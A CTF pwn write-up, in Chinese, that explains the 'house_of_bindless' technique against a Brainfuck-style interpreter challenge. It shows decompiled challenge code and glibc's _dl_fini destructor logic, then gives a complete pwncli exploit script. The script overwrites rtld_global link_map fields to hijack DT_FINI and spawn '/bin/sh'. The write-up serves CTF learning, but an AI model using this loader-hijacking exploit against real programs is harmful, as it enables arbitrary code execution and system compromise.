知识点
- house_of_bindless
- rtld_global
- fini_array
分析
int __cdecl executeBrainfuck(char *code)
{
_BYTE c[5]; // [rsp+13h] [rbp-Dh]
__asm { endbr64 }
c[4] = 0;
*c = *code;
while ( *&c[1] <= 0xFF )
{
if ( c[0] == 0x71 )
return 0;
if ( c[0] <= 0x71 )
{
if ( c[0] == 0x40 )
{
data += *&code[*&c[1] + 1];
*&c[1] += 5;
}
else if ( c[0] <= 0x40 )
{
if ( c[0] == 0x3E )
{
++data;
++*&c[1];
}
else if ( c[0] <= 0x3E )
{
if ( c[0] == 0x2B )
{
data += 8;
++*&c[1];
}
else if ( c[0] == 0x2E )
{
*data = code[*&c[1] + 1];
*&c[1] += 2;
}
}
}
}
c[0] = code[*&c[1]];
}
return 0;
}
- 满足house_of_bindless条件
/* Is there a destructor function? */
if (l->l_info[DT_FINI_ARRAY] != NULL
|| l->l_info[DT_FINI] != NULL)
{
/* When debugging print a message first. */
if (__builtin_expect (GLRO(dl_debug_mask)
& DL_DEBUG_IMPCALLS, 0))
_dl_debug_printf ("\ncalling fini: %s [%lu]\n\n",
DSO_FILENAME (l->l_name),
ns);
/* First see whether an array is given. */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}
/* Next try the old-style destructor. */
if (l->l_info[DT_FINI] != NULL)
DL_CALL_DT_FINI
(l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);
}
- 修改
rtld_global._dl_load_lock
最后可以控制调用函数时的rdi;修改rtld_global._ns_loaded
这个link_map
的ld_addr为某偏移值;修改rtld_global._ns_loaded.l_info[DT_FINI]
最低的一个字节;最后使得rtld_global._ns_loaded.l_info[DT_FINI_ARRAY]
为NULL使得最后条件满足 - 总结流程:1.执行
DL_CALL_DT_FINI(l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);
2.l->l_addr
、l->l_info[DT_FINI]
均已被修改,调用如下图3.程序将取出_init_array
中的地址加上l->l_addr
并直接调用
细节
- 不同机器
rtld_global
距离libc的偏移并不一定相同,需要据实际情况分析 - 分析过house_of_banana应该会更好理解
- 本题也可以采用爆破
exit_hook
的方式
exp
#!/usr/bin/python3
from pwncli import *
from LibcSearcher import *
context(arch='amd64', os='linux', log_level='debug')
#cli_script()
#io=gift['io']=remote('1.13.101.243',27020)
io=gift['io']=process('./main')
libc=gift['libc'] = ELF('./libc-2.27.so')
sla(b"Pls input the data size\n",str(0x100000))
sla(b"Pls input the code size\n",str(0x100))
def write(addr,content):
content = list(content)
payload = b"@" + p32(addr)
for i in range(len(content)):
payload += b'.' + p8(content[i])
payload += b'>'
return payload
#_dl_load_lock
payload = write(0x339958,b"/bin/sh;") #劫持参数
payload += write(0x33a180-0x339958-0x8,p64(0x9))
payload += write(0x33a228-0x33a180-0x8,p8(0x88-0x8)) #劫持DT_FINI
payload += write(0x33a290-0x33a228 - 0x1,p64(0)) #使得DT_FINI_ARRAY为NULL
payload += b'q'
sla(b"Pls input your code\n",payload)
ia()
Comments | NOTHING